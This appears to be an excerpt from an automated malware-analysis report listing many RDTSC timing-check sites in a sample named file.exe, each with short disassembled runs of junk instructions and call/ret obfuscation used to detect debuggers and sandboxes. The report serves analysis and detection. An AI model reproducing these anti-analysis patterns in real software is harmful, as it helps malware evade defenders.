Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8598 second address: 6E861F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045404h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007F488D0453F6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [eax] 0x00000016 jnl 00007F488D045400h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jmp 00007F488D0453FAh 0x00000025 pop eax 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F488D0453F8h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 00000016h 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 lea ebx, dword ptr [ebp+1244D357h] 0x00000046 mov dword ptr [ebp+122D36F2h], edi 0x0000004c xchg eax, ebx 0x0000004d push edi 0x0000004e jmp 00007F488D045400h 0x00000053 pop edi 0x00000054 push eax 0x00000055 push ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E861F second address: 6E8623 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E873A second address: 6E8740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E87D6 second address: 6E87E4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F488C756CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E87E4 second address: 6E8806 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a and dl, 00000075h 0x0000000d push 00000000h 0x0000000f adc edi, 651EDE26h 0x00000015 call 00007F488D0453F9h 0x0000001a pushad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8806 second address: 6E8843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F488C756CF6h 0x0000000a popad 0x0000000b jmp 00007F488C756CFFh 0x00000010 popad 0x00000011 push eax 0x00000012 jbe 00007F488C756D02h 0x00000018 jmp 00007F488C756CFCh 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 jng 00007F488C756D00h 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAC4F second address: 6FAC53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708289 second address: 708290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7083CB second address: 7083CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7083CF second address: 7083D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708532 second address: 708544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F488D0453FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708544 second address: 70854C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708987 second address: 708993 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F488D0453F6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708993 second address: 708999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708999 second address: 70899F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708B33 second address: 708B40 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F488C756CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708B40 second address: 708B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F488D045401h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708B5C second address: 708B7F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnl 00007F488C756CF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F488C756D04h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708B7F second address: 708B87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708B87 second address: 708B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708CBA second address: 708CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F488D0453F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E26 second address: 708E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F488C756D03h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E3D second address: 708E48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E48 second address: 708E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 jmp 00007F488C756D03h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709507 second address: 70950B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70950B second address: 709511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709511 second address: 70951C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70951C second address: 709521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709C59 second address: 709C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71004F second address: 71005F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F488C756CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71005F second address: 710066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7146CC second address: 7146D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713A77 second address: 713A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713A7B second address: 713A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F488C756CFAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713DA0 second address: 713DC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jg 00007F488D04540Ah 0x00000014 jmp 00007F488D0453FEh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713DC4 second address: 713DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jp 00007F488C756CF6h 0x0000000c js 00007F488C756CF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714425 second address: 714429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71456A second address: 714581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F488C756CFDh 0x00000009 jc 00007F488C756CF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714581 second address: 714585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716165 second address: 7161C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F488C756D00h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e jo 00007F488C756CF6h 0x00000014 pop eax 0x00000015 pushad 0x00000016 jno 00007F488C756CF6h 0x0000001c jp 00007F488C756CF6h 0x00000022 popad 0x00000023 popad 0x00000024 mov eax, dword ptr [esp+04h] 0x00000028 pushad 0x00000029 push ebx 0x0000002a pushad 0x0000002b popad 0x0000002c pop ebx 0x0000002d ja 00007F488C756CF8h 0x00000033 popad 0x00000034 mov eax, dword ptr [eax] 0x00000036 jmp 00007F488C756D00h 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f jp 00007F488C756D00h 0x00000045 push eax 0x00000046 push edx 0x00000047 push ecx 0x00000048 pop ecx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7165AB second address: 7165B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716740 second address: 716744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716744 second address: 71674A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71674A second address: 716750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716750 second address: 716754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716754 second address: 716770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F488C756CFDh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716770 second address: 716776 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716E84 second address: 716ECF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F488C756CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F488C756CF8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 jl 00007F488C756CFAh 0x0000002b mov di, A86Fh 0x0000002f push eax 0x00000030 pushad 0x00000031 jl 00007F488C756CFCh 0x00000037 jnl 00007F488C756CF6h 0x0000003d pushad 0x0000003e pushad 0x0000003f popad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716F9F second address: 716FA9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F488D0453F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716FA9 second address: 716FB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F488C756CF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716FB3 second address: 716FC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 ja 00007F488D045400h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717255 second address: 717268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F488C756CFFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71735A second address: 717360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717360 second address: 71736A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719E8C second address: 719EE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045407h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push ecx 0x0000000d xor esi, dword ptr [ebp+122D17A6h] 0x00000013 pop esi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F488D0453F8h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 mov edi, dword ptr [ebp+122D1EECh] 0x00000036 push 00000000h 0x00000038 mov di, ax 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719EE8 second address: 719EEE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B52F second address: 71B54A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F488D045401h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B54A second address: 71B550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B550 second address: 71B554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721B61 second address: 721BC5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F488C756CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F488C756CFAh 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F488C756CF8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebp 0x00000034 call 00007F488C756CF8h 0x00000039 pop ebp 0x0000003a mov dword ptr [esp+04h], ebp 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc ebp 0x00000047 push ebp 0x00000048 ret 0x00000049 pop ebp 0x0000004a ret 0x0000004b mov dword ptr [ebp+122D38B0h], eax 0x00000051 push eax 0x00000052 push edi 0x00000053 push eax 0x00000054 push edx 0x00000055 push esi 0x00000056 pop esi 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720C6B second address: 720D20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045407h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F488D045407h 0x0000000f jmp 00007F488D045402h 0x00000014 popad 0x00000015 popad 0x00000016 mov dword ptr [esp], eax 0x00000019 sub ebx, dword ptr [ebp+122D29DEh] 0x0000001f push dword ptr fs:[00000000h] 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F488D0453F8h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 mov ebx, dword ptr [ebp+122D35E5h] 0x0000004d mov edi, edx 0x0000004f mov eax, dword ptr [ebp+122D0339h] 0x00000055 or edi, dword ptr [ebp+122D29AEh] 0x0000005b push FFFFFFFFh 0x0000005d nop 0x0000005e jmp 00007F488D045406h 0x00000063 push eax 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720D20 second address: 720D2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F488C756CF6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722C65 second address: 722CC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 adc di, 5C9Fh 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F488D0453F8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D2E89h], esi 0x0000002f push 00000000h 0x00000031 xchg eax, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 jmp 00007F488D0453FCh 0x0000003a jmp 00007F488D045403h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722CC3 second address: 722CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F488C756CFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722E32 second address: 722E36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723EC6 second address: 723ECC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724BF5 second address: 724BFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723ECC second address: 723EDF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F488C756CF8h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722EE3 second address: 722EE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723EDF second address: 723EE4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726D59 second address: 726D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726D5D second address: 726D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726D61 second address: 726D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726D6B second address: 726D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F488C756CFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726D7B second address: 726D85 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F488D0453F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D928B second address: 6D9297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F488C756CF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9297 second address: 6D92B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F488D045409h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7275D0 second address: 7275D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7275D4 second address: 7275DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729514 second address: 729530 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F488C756CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F488C756D00h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729530 second address: 72956D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a ja 00007F488D0453F6h 0x00000010 pop eax 0x00000011 pop ebx 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D251Fh], edi 0x00000019 pushad 0x0000001a pushad 0x0000001b sub cl, FFFFFFE7h 0x0000001e mov ebx, dword ptr [ebp+122D2B26h] 0x00000024 popad 0x00000025 mov cl, 89h 0x00000027 popad 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c mov ebx, 0C378E5Bh 0x00000031 xchg eax, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 jnc 00007F488D0453F6h 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72956D second address: 729572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B6B3 second address: 72B6B8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C701 second address: 72C705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C705 second address: 72C70B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D824 second address: 72D828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D828 second address: 72D832 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
